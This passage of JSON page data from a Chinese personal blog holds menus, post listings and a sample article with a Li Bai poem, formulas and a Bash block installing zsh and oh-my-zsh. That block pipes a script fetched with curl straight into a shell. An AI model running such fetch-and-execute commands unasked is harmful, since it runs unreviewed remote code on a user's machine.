tegoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"d3216be6-1b27-40e7-8677-7404896b7eb6":{"value":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","version":31,"type":"page","content":["6c2aad49-6a12-4775-914f-7ed36358eb32","9b26bd9a-9a46-4d36-b995-bf4d3d58dd45","c2d6e2c5-296b-475c-b2d8-7723d212a732","f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","9369db5e-52eb-4c76-8f20-ee3937c65109","f190aaaf-4ada-493b-bb58-bac82327317e","41e02cef-9892-468d-a759-e74c41dfcd70","3ac4ec2f-1b75-41a4-8048-ee14e5549d21","266dce1b-2303-4514-aa52-2c946c8d8fba","3a8f1cf9-1509-4b97-93d7-aef56bcaf85a","3afc4b4f-2afa-4732-b15c-70cb97502fba","58a2fe87-4e0c-40aa-baed-b99e677f4891","abc36c13-25fc-4b0d-bda9-6b45a9d992bc","0d862f5f-f617-4972-a07f-c90da2679c24","2feae355-4a74-4b81-a318-b1cdaf3345b1","a625f064-b0f6-4744-b6b9-e40aaf12ffa9","d1de48bb-00c6-40ac-81df-d6fb0b784f36","62a16f54-8d5e-41cc-a7a4-70f28d18bb2a","b87bd083-9175-48c6-adee-7a6e4e38b8cd","51b6910d-e9cd-4a81-aae0-766883f9d904","b407262e-e839-4266-8acc-6e5829f928c9","e289a4a8-54f9-47df-b1f1-5a5f778c93ab","b30997a8-63eb-4339-bfa3-5b06ef9bd842","9c9075da-d8aa-4347-9bbb-b41a1c7fcc78","e57ed9a8-9c51-4b46-aa09-400d5154a42f","43181d65-d467-4bd5-a8cb-6942161eabd5","eb3a98c3-8978-40b5-9166-5cef30088d2a","5fef12d0-8a28-437c-8514-47243e565b19","182a922c-a77e-4465-a7bf-b6cd9bb8aa95","af988ade-cbe2-4091-b037-e8a39b7ef3fc","3206c63c-38c9-42a5-9829-1f8a39e6e0eb","c311a2ed-ff9b-41ef-8259-c5d55e7076f6","4748bbad-6dc8-4e84-ab43-96c076df3dd2","b8800b2b-162c-42fa-9302-c258941e9dbf","3f939f7e-4387-4bf1-9fb0-d1b17a08ec88","180fd5e9-cf79-432d-8d92-894d783e5e00","ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26","3fba972c-29f1-458a-a947-7d8aa18f79e6","7050f906-9255-4e76-840e-000da98df97d","eb25cdb8-697c-4b55-a556-e416f9ecdbfb","b4f0f638-f797-4040-9600-f5576c4520be","4038cfa4-b79f-4562-b5d8-9ed98addba56","c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","3ccfd881-f68a-446b-b9e3-ad394ab9d36f","522cceae-719e-47fe-880a-29732a5e4ca5","150b9807-a36f-45eb-9892-d9f6a0f1db56","42ab1b80-3546-4a53-a9ca-bb98d854e4c3","fd0213c3-3749-4192-9153-a4ed99862478","0186f962-3e26-4d4c-94ac-91763ada0633","7d0286ac-a9d7-4830-af71-ef7b45c2f171","e4a4f952-60d5-4bb8-a96f-a835fe58bd3b","c994ab66-5436-4200-bc41-90a32ae0ee7e","e0c369fb-2c38-4e2d-b639-361bca715727","b2eef454-ef1f-4137-a256-ed8d7f28ca5d","75a4c9a0-0331-416b-86ac-184c365390a9","f7f5b64a-3ff6-47b3-947d-80f9e1704081","db08546f-0540-456c-9244-e258c16452c3","c06aaa31-3788-4ed1-b964-ad1ff77fe151","24d6c0a0-f4d3-44dd-b749-4f048b962bcd","58b92af2-69c7-4e70-b107-5b62363f7bf8","7a70e08b-725e-4db5-9f17-8dc53540f006","42e434d6-3a26-49f0-8405-04854616fc19","f862643d-1c2d-4678-9168-580da7e368dc","573fc380-fb6b-434b-897f-3510f4c57832"],"format":{"page_font":"serif","page_icon":"🗓️","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"}],"created_time":1705638991057,"last_edited_time":1705645088580,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"6c2aad49-6a12-4775-914f-7ed36358eb32":{"value":{"id":"6c2aad49-6a12-4775-914f-7ed36358eb32","type":"header","properties":{"title":[["基本段落"]]},"format":{"copied_from_pointer":{"id":"446eafa5-f482-4ccf-8998-fbd1a51eee0b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"446eafa5-f482-4ccf-8998-fbd1a51eee0b"}},"9b26bd9a-9a46-4d36-b995-bf4d3d58dd45":{"value":{"id":"9b26bd9a-9a46-4d36-b995-bf4d3d58dd45","type":"quote","properties":{"title":[["书中自有黄金屋,书中自有颜如玉"]]},"format":{"copied_from_pointer":{"id":"ce76391f-3f28-42d3-8646-8ff1eb705b92","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ce76391f-3f28-42d3-8646-8ff1eb705b92"}},"c2d6e2c5-296b-475c-b2d8-7723d212a732":{"value":{"id":"c2d6e2c5-296b-475c-b2d8-7723d212a732","type":"callout","properties":{"title":[["生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"81283d86-5b13-4c77-a1cf-316bcd8e4152","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991037,"last_edited_time":1705638991037,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"81283d86-5b13-4c77-a1cf-316bcd8e4152"}},"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a":{"value":{"id":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","type":"sub_header","properties":{"title":[["将进酒",[["b"]]]]},"format":{"copied_from_pointer":{"id":"0c84d8d1-07c3-4969-90b2-03808c73c264","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0c84d8d1-07c3-4969-90b2-03808c73c264"}},"9369db5e-52eb-4c76-8f20-ee3937c65109":{"value":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","type":"text","properties":{"title":[["李白〔唐代〕"],["参考[1]",[["a","#a47eb4929c654ac4b8c895d00023a97e"]]]]},"format":{"copied_from_pointer":{"id":"99590d37-6a81-4349-a933-994d66be84a5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"99590d37-6a81-4349-a933-994d66be84a5"}},"f190aaaf-4ada-493b-bb58-bac82327317e":{"value":{"id":"f190aaaf-4ada-493b-bb58-bac82327317e","type":"text","properties":{"title":[["君不见黄河之水天上来,奔流到海不复回。\n君不见高堂明镜悲白发,朝如青丝暮成雪。\n人生得意须尽欢,莫使金樽空对月。\n天生我材必有用,千金散尽还复来。\n烹羊宰牛且为乐,会须一饮三百杯。\n岑夫子,丹丘生,将进酒,杯莫停。\n与君歌一曲,请君为我倾耳听。\n钟鼓馔玉不足贵,但愿长醉不愿醒。\n古来圣贤皆寂寞,惟有饮者留其名。\n陈王昔时宴平乐,斗酒十千恣欢谑。\n主人何为言少钱,径须沽取对君酌。\n五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。"]]},"format":{"copied_from_pointer":{"id":"189c6309-f15e-47ad-a135-a14f36cda7e4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"189c6309-f15e-47ad-a135-a14f36cda7e4"}},"41e02cef-9892-468d-a759-e74c41dfcd70":{"value":{"id":"41e02cef-9892-468d-a759-e74c41dfcd70","type":"bookmark","properties":{"link":[["https://tangly1024.com/"]],"title":[["TANGLY's BLOG | 记录思考、分享我的学习笔记"]],"description":[["记录思考、分享我的学习笔记"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1564419320603-628d868a193f?q=50&fm=jpg&fit=crop&w=1920&h=1600","copied_from_pointer":{"id":"3a5174d9-05b5-4b29-bdb7-9be20977e8af","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3a5174d9-05b5-4b29-bdb7-9be20977e8af"}},"3ac4ec2f-1b75-41a4-8048-ee14e5549d21":{"value":{"id":"3ac4ec2f-1b75-41a4-8048-ee14e5549d21","type":"external_object_instance","format":{"integration_id":"cdc46cd9-f0e9-48fd-b3aa-18481098e29e","is_placeholder":true,"copied_from_pointer":{"id":"fdceaba7-a336-4c8d-b710-5e6ea3ed90ca","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"fdceaba7-a336-4c8d-b710-5e6ea3ed90ca"}},"266dce1b-2303-4514-aa52-2c946c8d8fba":{"value":{"id":"266dce1b-2303-4514-aa52-2c946c8d8fba","type":"header","properties":{"title":[["特殊段落"]]},"format":{"copied_from_pointer":{"id":"3d9836fa-6437-437e-8a01-a0a4f530979a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3d9836fa-6437-437e-8a01-a0a4f530979a"}},"3a8f1cf9-1509-4b97-93d7-aef56bcaf85a":{"value":{"id":"3a8f1cf9-1509-4b97-93d7-aef56bcaf85a","type":"sub_header","properties":{"title":[["1.代码"]]},"format":{"copied_from_pointer":{"id":"85dc9288-bc63-40ba-8251-03bbb07f61a7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"85dc9288-bc63-40ba-8251-03bbb07f61a7"}},"3afc4b4f-2afa-4732-b15c-70cb97502fba":{"value":{"id":"3afc4b4f-2afa-4732-b15c-70cb97502fba","type":"code","properties":{"title":[["# Bash 安装zsh\n$ sudo apt install zsh\n\n# 配置ohmyzsh\n$ sh -c \"$(curl -fsSL <https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh>)\"\n\n# 配置ohmyzsh插件\n# zsh-autosuggestions\n$ git clone git://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions\n\n# zsh-syntax-highlighting\n$ git clone <https://github.com/zsh-users/zsh-syntax-highlighting.git> ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting\n\n// 启用插件\n$ vim .zshrc\nplugins=(git z zsh-autosuggestions zsh-syntax-highlighting)"]],"language":[["Bash"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"017adce7-b2bb-48dc-9398-edacd776dc25","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991028,"last_edited_time":1705638991028,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"017adce7-b2bb-48dc-9398-edacd776dc25"}},"58a2fe87-4e0c-40aa-baed-b99e677f4891":{"value":{"id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","type":"toggle","properties":{"title":[["其他更多语言"]]},"content":["f993f0f3-96ef-436e-b3a6-2a32c9623c1c","dc053857-d6b6-4106-9819-6545884c39ee","063756cd-6ec1-4081-85e3-4b92832a9cb4","cb1f9529-7659-4836-902b-9d15084eaa0a","c7f0ee45-718e-4229-9f2f-b7c2fc7ad580","88676695-452c-49cb-9d9c-0711d2f1f4be","025fccd3-0e3c-4be1-85bb-1880edddeb65","4d19c930-9e8b-4fc5-b273-19717fe62e33"],"format":{"copied_from_pointer":{"id":"55f94688-f9a4-4713-bc50-cb81232974f3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"55f94688-f9a4-4713-bc50-cb81232974f3"}},"abc36c13-25fc-4b0d-bda9-6b45a9d992bc":{"value":{"id":"abc36c13-25fc-4b0d-bda9-6b45a9d992bc","type":"sub_header","properties":{"title":[["2.公式"]]},"format":{"copied_from_pointer":{"id":"7de9f2bb-6e8b-4a0d-b126-62148de95bd5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"7de9f2bb-6e8b-4a0d-b126-62148de95bd5"}},"0d862f5f-f617-4972-a07f-c90da2679c24":{"value":{"id":"0d862f5f-f617-4972-a07f-c90da2679c24","type":"bulleted_list","properties":{"title":[["数学公式"]]},"content":["8c07082c-8cec-440e-bf4e-29bea61f9062","90932a5f-3a36-460b-8d7c-eced46b176b4"],"format":{"copied_from_pointer":{"id":"ab94ff2a-4201-4ef5-8db9-df5654521f11","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ab94ff2a-4201-4ef5-8db9-df5654521f11"}},"8c07082c-8cec-440e-bf4e-29bea61f9062":{"value":{"id":"8c07082c-8cec-440e-bf4e-29bea61f9062","type":"equation","properties":{"title":[["f\\left(\\left[\\frac{1+\\{x, y\\}}{\\left(\\frac{x}{y}+\\frac{y}{x}\\right)(u+1)}+a\\right]^{3 / 2}\\right)\\tag{行标}"]]},"format":{"copied_from_pointer":{"id":"f73d2d76-f110-476f-ab07-4e49477068ed","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"0d862f5f-f617-4972-a07f-c90da2679c24","parent_table":"block","alive":true,"copied_from":"f73d2d76-f110-476f-ab07-4e49477068ed"}},"90932a5f-3a36-460b-8d7c-eced46b176b4":{"value":{"id":"90932a5f-3a36-460b-8d7c-eced46b176b4","type":"equation","properties":{"title":[["\\tau_{xy}=-\\tau_{yx}\\tau_{xz}=-\\tau_{zx}\\tau_{yz}=-\\tau{zy}"]]},"format":{"copied_from_pointer":{"id":"cf2118fe-22c9-4507-8013-18a96601b0d7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"0d862f5f-f617-4972-a07f-c90da2679c24","parent_table":"block","alive":true,"copied_from":"cf2118fe-22c9-4507-8013-18a96601b0d7"}},"2feae355-4a74-4b81-a318-b1cdaf3345b1":{"value":{"id":"2feae355-4a74-4b81-a318-b1cdaf3345b1","type":"bulleted_list","properties":{"title":[["化学方程"]]},"content":["75582ed8-5351-455f-9583-ce8806132569"],"format":{"copied_from_pointer":{"id":"42e4e244-fe02-46e3-9f72-33a2471dffa1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"42e4e244-fe02-46e3-9f72-33a2471dffa1"}},"75582ed8-5351-455f-9583-ce8806132569":{"value":{"id":"75582ed8-5351-455f-9583-ce8806132569","type":"text","properties":{"title":[["⁍",[["e","\\ce{2H2O->2H2 + O2}\n"]]]]},"format":{"copied_from_pointer":{"id":"b7d89274-b359-4917-ac8a-ebc13295506f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"2feae355-4a74-4b81-a318-b1cdaf3345b1","parent_table":"block","alive":true,"copied_from":"b7d89274-b359-4917-ac8a-ebc13295506f"}},"a625f064-b0f6-4744-b6b9-e40aaf12ffa9":{"value":{"id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","type":"toggle","properties":{"title":[["其他更多公式"]]},"content":["583d808b-a380-4da7-a547-23a10d3fa5c8","7e94f6c0-5ab6-4778-9277-992fd5664f01","52d5a916-ab83-448a-9f42-1a7ef92b2e19","68c4d878-bb42-4e06-baa5-635a4f804e97","408dee57-e78b-4bff-b11d-dae0ffb56756"],"format":{"copied_from_pointer":{"id":"8d7fc19c-da47-4cad-a2c5-a6257de3e1c9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,